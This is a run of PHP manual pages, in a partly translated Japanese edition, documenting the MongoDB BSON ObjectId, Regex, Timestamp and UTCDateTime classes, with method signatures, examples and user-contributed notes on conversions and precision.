Returns the serialized representation of the MongoDB\BSON\ObjectId.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\ObjectId::unserialize() - Unserialize an ObjectId
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the hexidecimal representation of this ObjectId

  • ≪ MongoDB\BSON\ObjectId::serialize
  • MongoDB\BSON\ObjectId::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Returns the hexidecimal representation of this ObjectId

MongoDB\BSON\ObjectId::__toString

(mongodb >=1.0.0)

MongoDB\BSON\ObjectId::__toString — Returns the hexidecimal representation of this ObjectId

説明

final public MongoDB\BSON\ObjectId::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the hexidecimal representation of this ObjectId.

例

例1 MongoDB\BSON\ObjectId::__toString() example

<?php

var_dump((string) new MongoDB\BSON\ObjectId());
var_dump((string) new MongoDB\BSON\ObjectId('000000000000000000000001'));

?>

上の例の出力は、 たとえば以下のようになります。

string(24) "56731b49da14d8747d701211"
string(24) "000000000000000000000001"

参考

  • » ObjectId Reference
  • » BSON Types: ObjectId

User Contributed Notes

Jared C. 14-Jul-2016 03:31
I found I had to manually call the __toString method when I was trying to populate an associative array of mongoguid => stringValue:

        $filter = [];
        $options = [];
        $this->propertyMap = [];
        try {
            $query = new \MongoDB\Driver\Query($filter, $options);
            $cursor = $this->mongo->executeQuery('MyDbName.MyColectionName', $query);
        } catch (Exception $e) {
            echo "Mongo Query failure pulling the collection" . PHP_EOL;
            echo($e->getMessage());
            die("aborting");
        }
        foreach ($cursor as $property) {
            //$this->propertyMap[$property->{_id}->__toString()] = $property->name;
            $this->propertyMap[$property->name] = $property->{_id}->__toString();
        }

You could also do it as $property->{_id} . "" to get the same string result.  Otherwise you end up with an array of MongoDB\BSON\ObjectID objects.


Unserialize an ObjectId

  • ≪ MongoDB\BSON\ObjectId::__toString
  • MongoDB\BSON\Regex ≫
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Unserialize an ObjectId

MongoDB\BSON\ObjectId::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::unserialize — Unserialize an ObjectId

説明

final public MongoDB\BSON\ObjectId::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\ObjectId.

返り値

Returns the unserialized MongoDB\BSON\ObjectId.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\BSON\ObjectId::serialize() - Serialize an ObjectId
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Regex class

(mongodb >=1.0.0)

はじめに

BSON type for a regular expression pattern and optional » flags.

注意: This BSON type is mainly used when querying the database. Alternatively, the » $regex query operator may be used.

クラス概要

final MongoDB\BSON\Regex implements MongoDB\BSON\RegexInterface , MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final public __construct ( string $pattern , string $flags = "" )
final public getFlags ( ) : string
final public getPattern ( ) : string
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | Implements MongoDB\BSON\RegexInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

目次

  • MongoDB\BSON\Regex::__construct — Construct a new Regex
  • MongoDB\BSON\Regex::getFlags — Returns the Regex's flags
  • MongoDB\BSON\Regex::getPattern — Returns the Regex's pattern
  • MongoDB\BSON\Regex::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Regex::serialize — Serialize a Regex
  • MongoDB\BSON\Regex::__toString — Returns the string representation of this Regex
  • MongoDB\BSON\Regex::unserialize — Unserialize a Regex

User Contributed Notes

anD 08-Jul-2017 12:28
Refer the example at:
http://docs.php.net/manual/en/mongodb-bson-regex.construct.php#refsect1-mongodb-bson-regex.construct-examples
aws dot htc at gmail dot com 27-Sep-2016 06:26
Example
Find names that start with "Al"

$regex = new MongoDB\BSON\Regex ( '^Al');
$cursor = $collection->find(array('name' => $regex));
//iterate through the cursor


Construct a new Regex

  • ≪ MongoDB\BSON\Regex
  • MongoDB\BSON\Regex::getFlags ≫
  • PHP Manual
  • MongoDB\BSON\Regex
  • Construct a new Regex

MongoDB\BSON\Regex::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Regex::__construct — Construct a new Regex

説明

final public MongoDB\BSON\Regex::__construct ( string $pattern , string $flags = "" )

パラメータ

pattern (string)

The regular expression pattern.

注意: The pattern should not be wrapped with delimiter characters.

flags (string)

The » regular expression flags. Characters in this argument will be sorted alphabetically.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if pattern or flags contain null bytes.

変更履歴

バージョン 説明
PECL mongodb 1.2.0

The flags argument is optional and defaults to an empty string.

Characters in the flags argument will be sorted alphabetically when a Regex is constructed. Previously, the characters were stored in the order provided.

MongoDB\Driver\Exception\InvalidArgumentException is thrown if pattern or flags contain null bytes. Previously, values would be truncated at the first null byte.

例

例1 MongoDB\BSON\Regex::__construct() example

<?php

$regex = new MongoDB\BSON\Regex('^foo', 'i');
var_dump($regex);

?>

上の例の出力は以下となります。

object(MongoDB\BSON\Regex)#1 (2) {
  ["pattern"]=>
  string(4) "^foo"
  ["flags"]=>
  string(1) "i"
}

参考

  • » BSON Types
  • » Supported regular expression flags

User Contributed Notes

Alejandro Wilcke 06-Sep-2019 02:32
This matches with any fieldName that includes the string:
$mongoRegex = new MongoDB\BSON\Regex("$string", "i");

This matches with any fieldName that STARTS with the string:
$mongoRegex = new MongoDB\BSON\Regex("^$string", "i");

$cursor = $collection->find( [ 'fieldName' => $mongoRegex ] );

$docs = [];

foreach($cursor as $doc){
     $docs[] = $doc;
}

return $docs;


Returns the Regex's flags

  • ≪ MongoDB\BSON\Regex::__construct
  • MongoDB\BSON\Regex::getPattern ≫
  • PHP Manual
  • MongoDB\BSON\Regex
  • Returns the Regex's flags

MongoDB\BSON\Regex::getFlags

(mongodb >=1.0.0)

MongoDB\BSON\Regex::getFlags — Returns the Regex's flags

説明

final public MongoDB\BSON\Regex::getFlags ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the Regex's flags.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\Regex::getFlags() example

<?php

$regex = new MongoDB\BSON\Regex('regex', 'i');
var_dump($regex->getFlags());

?>

上の例の出力は、 たとえば以下のようになります。

string(1) "i"

参考

  • » BSON Types
  • » Supported regular expression flags

User Contributed Notes

There are no user contributed notes for this page.


Returns the Regex's pattern

  • ≪ MongoDB\BSON\Regex::getFlags
  • MongoDB\BSON\Regex::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\Regex
  • Returns the Regex's pattern

MongoDB\BSON\Regex::getPattern

(mongodb >=1.0.0)

MongoDB\BSON\Regex::getPattern — Returns the Regex's pattern

説明

final public MongoDB\BSON\Regex::getPattern ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the Regex's pattern.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\Regex::getPattern() example

<?php

$regex = new MongoDB\BSON\Regex('regex', 'i');
var_dump($regex->getPattern());

?>

上の例の出力は、 たとえば以下のようになります。

string(5) "regex"

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\Regex::getPattern
  • MongoDB\BSON\Regex::serialize ≫
  • PHP Manual
  • MongoDB\BSON\Regex
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Regex::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Regex::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\Regex::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Regex.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Regex

  • ≪ MongoDB\BSON\Regex::jsonSerialize
  • MongoDB\BSON\Regex::__toString ≫
  • PHP Manual
  • MongoDB\BSON\Regex
  • Serialize a Regex

MongoDB\BSON\Regex::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Regex::serialize — Serialize a Regex

説明

final public MongoDB\BSON\Regex::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\Regex.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\Regex::unserialize() - Unserialize a Regex
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this Regex

  • ≪ MongoDB\BSON\Regex::serialize
  • MongoDB\BSON\Regex::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\Regex
  • Returns the string representation of this Regex

MongoDB\BSON\Regex::__toString

(mongodb >=1.0.0)

MongoDB\BSON\Regex::__toString — Returns the string representation of this Regex

説明

final public MongoDB\BSON\Regex::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this Regex.

例

例1 MongoDB\BSON\Regex::__toString() example

<?php

$regex = new MongoDB\BSON\Regex('regex', 'i');
var_dump((string) $regex);

?>

上の例の出力は以下となります。

string(8) "/regex/i"

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Regex

  • ≪ MongoDB\BSON\Regex::__toString
  • MongoDB\BSON\Timestamp ≫
  • PHP Manual
  • MongoDB\BSON\Regex
  • Unserialize a Regex

MongoDB\BSON\Regex::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Regex::unserialize — Unserialize a Regex

説明

final public MongoDB\BSON\Regex::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\Regex.

返り値

Returns the unserialized MongoDB\BSON\Regex.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\BSON\Regex::serialize() - Serialize a Regex
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Timestamp class

(mongodb >=1.0.0)

はじめに

Represents a » BSON timestamp, The value consists of a 4-byte timestamp (i.e. seconds since the epoch) and a 4-byte increment.

注意: This is an internal MongoDB type used for replication and sharding. It is not intended for general date storage (MongoDB\BSON\UTCDateTime should be used instead).

クラス概要

final MongoDB\BSON\Timestamp implements MongoDB\BSON\TimestampInterface , MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final public __construct ( int $increment , int $timestamp )
final public getIncrement ( ) : int
final public getTimestamp ( ) : int
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | Implements MongoDB\BSON\TimestampInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

目次

  • MongoDB\BSON\Timestamp::__construct — Construct a new Timestamp
  • MongoDB\BSON\Timestamp::getIncrement — Returns the increment component of this Timestamp
  • MongoDB\BSON\Timestamp::getTimestamp — Returns the timestamp component of this Timestamp
  • MongoDB\BSON\Timestamp::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Timestamp::serialize — Serialize a Timestamp
  • MongoDB\BSON\Timestamp::__toString — Returns the string representation of this Timestamp
  • MongoDB\BSON\Timestamp::unserialize — Unserialize a Timestamp

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Timestamp

  • ≪ MongoDB\BSON\Timestamp
  • MongoDB\BSON\Timestamp::getIncrement ≫
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Construct a new Timestamp

MongoDB\BSON\Timestamp::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Timestamp::__construct — Construct a new Timestamp

説明

final public MongoDB\BSON\Timestamp::__construct ( int $increment , int $timestamp )

パラメータ

increment (int)

32-bit integer denoting the incrementing ordinal for operations within a given second.

timestamp (int)

32-bit integer denoting seconds since the Unix epoch.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\Timestamp::__construct() example

<?php

$timestamp = new MongoDB\BSON\Timestamp(1234, 5678);

?>

上の例の出力は以下となります。

object(MongoDB\BSON\Timestamp)#1 (2) {
  ["increment"]=>
  int(1234)
  ["timestamp"]=>
  int(5678)
}

参考

  • » BSON Types: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Returns the increment component of this Timestamp

  • ≪ MongoDB\BSON\Timestamp::__construct
  • MongoDB\BSON\Timestamp::getTimestamp ≫
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Returns the increment component of this Timestamp

MongoDB\BSON\Timestamp::getIncrement

(mongodb >=1.3.0)

MongoDB\BSON\Timestamp::getIncrement — Returns the increment component of this Timestamp

説明

final public MongoDB\BSON\Timestamp::getIncrement ( ) : int

The increment component of a Timestamp is its least significant 32 bits, whichs denotes the incrementing ordinal for operations within a given second. This value is read as an unsigned 32-bit integer with big-endian byte order.

注意: Because PHP's integer type is signed, some values returned by this method may appear as negative integers on 32-bit platforms. The "%u" formatter of sprintf() may be used to obtain a string representation of the unsigned decimal value.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the increment component of this Timestamp.

警告

On 32-bit systems this method may return a negative number. Although the increment and timestamp parts of the BSON timestamp type consists of two unsigned 32-bit values, PHP can not represent these on 32-bit platforms.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • » BSON Types: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Returns the timestamp component of this Timestamp

  • ≪ MongoDB\BSON\Timestamp::getIncrement
  • MongoDB\BSON\Timestamp::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Returns the timestamp component of this Timestamp

MongoDB\BSON\Timestamp::getTimestamp

(mongodb >=1.3.0)

MongoDB\BSON\Timestamp::getTimestamp — Returns the timestamp component of this Timestamp

説明

final public MongoDB\BSON\Timestamp::getTimestamp ( ) : int

The timestamp component of a Timestamp is its most significant 32 bits, which denotes the number of seconds since the Unix epoch. This value is read as an unsigned 32-bit integer with big-endian byte order.

注意: Because PHP's integer type is signed, some values returned by this method may appear as negative integers on 32-bit platforms. The "%u" formatter of sprintf() may be used to obtain a string representation of the unsigned decimal value.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the timestamp component of this Timestamp.

警告

On 32-bit systems this method may return a negative number. Although the increment and timestamp parts of the BSON timestamp type consists of two unsigned 32-bit values, PHP can not represent these on 32-bit platforms.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • » BSON Types: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\Timestamp::getTimestamp
  • MongoDB\BSON\Timestamp::serialize ≫
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Timestamp::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Timestamp::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\Timestamp::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Timestamp.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Timestamp

  • ≪ MongoDB\BSON\Timestamp::jsonSerialize
  • MongoDB\BSON\Timestamp::__toString ≫
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Serialize a Timestamp

MongoDB\BSON\Timestamp::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Timestamp::serialize — Serialize a Timestamp

説明

final public MongoDB\BSON\Timestamp::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\Timestamp.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\Timestamp::unserialize() - Unserialize a Timestamp
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this Timestamp

  • ≪ MongoDB\BSON\Timestamp::serialize
  • MongoDB\BSON\Timestamp::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Returns the string representation of this Timestamp

MongoDB\BSON\Timestamp::__toString

(mongodb >=1.0.0)

MongoDB\BSON\Timestamp::__toString — Returns the string representation of this Timestamp

説明

final public MongoDB\BSON\Timestamp::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this Timestamp.

例

例1 MongoDB\BSON\Timestamp::__toString() example

<?php

$timestamp = new MongoDB\BSON\Timestamp(1234, 5678);
var_dump((string) $timestamp);

?>

上の例の出力は、 たとえば以下のようになります。

string(11) "[1234:5678]"

参考

  • » BSON Types: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Timestamp

  • ≪ MongoDB\BSON\Timestamp::__toString
  • MongoDB\BSON\UTCDateTime ≫
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Unserialize a Timestamp

MongoDB\BSON\Timestamp::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Timestamp::unserialize — Unserialize a Timestamp

説明

final public MongoDB\BSON\Timestamp::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\Timestamp.

返り値

Returns the unserialized MongoDB\BSON\Timestamp.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\BSON\Timestamp::serialize() - Serialize a Timestamp
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\UTCDateTime class

(mongodb >=1.0.0)

はじめに

Represents a » BSON date. The value is a 64-bit integer that represents the number of milliseconds since the Unix epoch (Jan 1, 1970). Negative values represent dates before 1970.

クラス概要

final MongoDB\BSON\UTCDateTime implements MongoDB\BSON\UTCDateTimeInterface , MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final public __construct ( int|float|string|DateTimeInterface $milliseconds = null )
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public toDateTime ( ) : DateTime
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | Implements MongoDB\BSON\UTCDateTimeInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

目次

  • MongoDB\BSON\UTCDateTime::__construct — Construct a new UTCDateTime
  • MongoDB\BSON\UTCDateTime::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\UTCDateTime::serialize — Serialize a UTCDateTime
  • MongoDB\BSON\UTCDateTime::toDateTime — Returns the DateTime representation of this UTCDateTime
  • MongoDB\BSON\UTCDateTime::__toString — Returns the string representation of this UTCDateTime
  • MongoDB\BSON\UTCDateTime::unserialize — Unserialize a UTCDateTime

User Contributed Notes

Stephen 30-Jul-2018 08:49
When using MongoDB\BSON\UTCDateTime to query be sure for instances of strtotime you are putting the constructor in milliseconds:

$start = new MongoDB\BSON\UTCDateTime(strtotime("midnight") * 1000);
$filter = ['date' => ['$gte' => $start]];
$options = ['sort' => ['date' => -1]];
$query = new MongoDB\Driver\Query($filter,$options);
mike at brenden dot com 12-Dec-2017 07:10
SOURCE [url]https://github.com/mongodb/mongo-php-driver/issues/187[/url]

MichaelBrenden --

How do the two Mongo drivers determine if they can translate something into the ISODate format?

Does mongo.so require a class type of MongoDate, or does it determine by data returned by __toString() (i.e., "0.12345678 1234567890")?

Does mongodb.so require a class type of \MongoDB\BSON\UTCDateTime, or does it determine by data returned by __toString() (i.e., "1234567890123")?

jmikola --

>> the ISODate format?

For the record, ISODate is just a helper function in the mongo shell. The actual BSON type is 0x09 in the BSON spec and is best referred to as "UTC date time".
[url]https://docs.mongodb.com/manual/core/shell-types/#return-date[/url]
[url]http://bsonspec.org/spec.html[/url]

 >> Does mongodb.so require a class type of \MongoDB\BSON\UTCDateTime, or does it determine by data returned by __toString() (i.e., "1234567890123")?

The driver requires a MongoDB\BSON\UTCDateTime object in order to encode a BSON date type. The relevant instanceof check during BSON encoding is here if you care to see it. The __toString() function exists purely as a convenience for userland applications. The driver does not use it outside of tests.
[url]https://github.com/mongodb/mongo-php-driver/blob/1.3.4/src/bson-encode.c#L215[/url]

The legacy mongo.so driver is similar in that it requires a MongoDate object in order to encode a BSON date type (relevant code is here).
[url]https://github.com/mongodb/mongo-php-driver-legacy/blob/1.6.16/bson.c#L273[/url]
mark at DONTSPAM dot moderndeveloperllc dot com 27-Oct-2016 02:09
Be careful using UTCDateTime if you need microsecond precision as this class only stores time to the _millisecond_. You need to store the date as a string in MongoDB if you want the full precision. Casting DateTime to a float can also remove precision.

An easy way to see the differences is with:

Code:
var_dump(
  (new DateTime)->format('U.u'),
  (float) (new DateTime)->format('U.u'),
  (new MongoDB\BSON\UTCDateTime())->toDateTime()->format('U.u')
);

Output:
string(17) "1477534060.918415"
double(1477534060.9185)
string(17) "1477534060.918000"

NOTE: Lots of bugs concerning microsecond formatting for DateTimeInterface classes were fixed as of PHP 7.1.0 RC4. The above code is from PHP 7.1.0 RC5 and mongodb 1.2.0alpha3. The 1.2.0 version of the extension added the ability to instantiate this class without passing integer milliseconds.


Construct a new UTCDateTime

  • ≪ MongoDB\BSON\UTCDateTime
  • MongoDB\BSON\UTCDateTime::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Construct a new UTCDateTime

MongoDB\BSON\UTCDateTime::__construct

(mongodb >=1.0.0)

MongoDB\BSON\UTCDateTime::__construct — Construct a new UTCDateTime

説明

final public MongoDB\BSON\UTCDateTime::__construct ( int|float|string|DateTimeInterface $milliseconds = null )

パラメータ

milliseconds (int|float|string|DateTimeInterface)

Number of milliseconds since the Unix epoch (Jan 1, 1970). Negative values represent dates before 1970. This value may be provided as a 64-bit int. For compatibility on 32-bit systems, this parameter may also be provided as a float or string.

If the argument is a DateTimeInterface, the number of milliseconds since the Unix epoch will be derived from that value. Note that in versions of PHP versions before 7.1.0, DateTime and DateTimeImmutable objects constructed from the current time did not incorporate sub-second precision.

If this argument is null, the current time will be used by default.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

変更履歴

バージョン | 説明
PECL mongodb 1.2.0 | The milliseconds argument is optional and defaults to null (i.e. current time). The argument also accepts a DateTimeInterface, which may be used to derive the number of milliseconds since the Unix epoch. Previously, only int, float, and string types were accepted.

例

例1 MongoDB\BSON\UTCDateTime::__construct() example

<?php

var_dump(new MongoDB\BSON\UTCDateTime);

var_dump(new MongoDB\BSON\UTCDateTime(new DateTime));

var_dump(new MongoDB\BSON\UTCDateTime(1416445411987));

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\BSON\UTCDateTime)#1 (1) {
  ["milliseconds"]=>
  string(13) "1484852905560"
}
object(MongoDB\BSON\UTCDateTime)#1 (1) {
  ["milliseconds"]=>
  string(13) "1484852905560"
}
object(MongoDB\BSON\UTCDateTime)#1 (1) {
  ["milliseconds"]=>
  string(13) "1416445411987"
}

参考

  • » BSON Types: Date

User Contributed Notes

0xff00ff at gmail dot com 06-Jun-2016 05:00
$utcdatetime = new MongoDB\BSON\UTCDateTime($unixtimestamp * 1000);
jesperbendtsen83 at gmail dot com 21-Jan-2016 10:30
The problem with integer => string is only on 32 bit systems
jesperbendtsen83 at gmail dot com 14-Jan-2016 10:58
For me to get it work with php 5.6 on an iis 7.5, it had to be a string

$utcdatetime = new MongoDB\BSON\UTCDateTime('1416445411987');


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\UTCDateTime::__construct
  • MongoDB\BSON\UTCDateTime::serialize ≫
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Returns a representation that can be converted to JSON

MongoDB\BSON\UTCDateTime::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\UTCDateTime::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\UTCDateTime::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\UTCDateTime.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a UTCDateTime

  • ≪ MongoDB\BSON\UTCDateTime::jsonSerialize
  • MongoDB\BSON\UTCDateTime::toDateTime ≫
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Serialize a UTCDateTime

MongoDB\BSON\UTCDateTime::serialize

(mongodb >=1.2.0)

MongoDB\BSON\UTCDateTime::serialize — Serialize a UTCDateTime

説明

final public MongoDB\BSON\UTCDateTime::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\UTCDateTime.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\UTCDateTime::unserialize() - Unserialize a UTCDateTime
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the DateTime representation of this UTCDateTime

  • ≪ MongoDB\BSON\UTCDateTime::serialize
  • MongoDB\BSON\UTCDateTime::__toString ≫
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Returns the DateTime representation of this UTCDateTime

MongoDB\BSON\UTCDateTime::toDateTime

(mongodb >=1.0.0)

MongoDB\BSON\UTCDateTime::toDateTime — Returns the DateTime representation of this UTCDateTime

説明

final public MongoDB\BSON\UTCDateTime::toDateTime ( ) : DateTime

パラメータ

この関数にはパラメータはありません。

返り値

Returns the DateTime representation of this UTCDateTime. The returned DateTime will use the UTC time zone.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\UTCDatetime::toDateTime() example

<?php

$utcdatetime = new MongoDB\BSON\UTCDateTime(1416445411987);
$datetime = $utcdatetime->toDateTime();
var_dump($datetime->format('r'));
var_dump($datetime->format('U.u'));
var_dump($datetime->getTimezone());

?>

上の例の出力は、 たとえば以下のようになります。

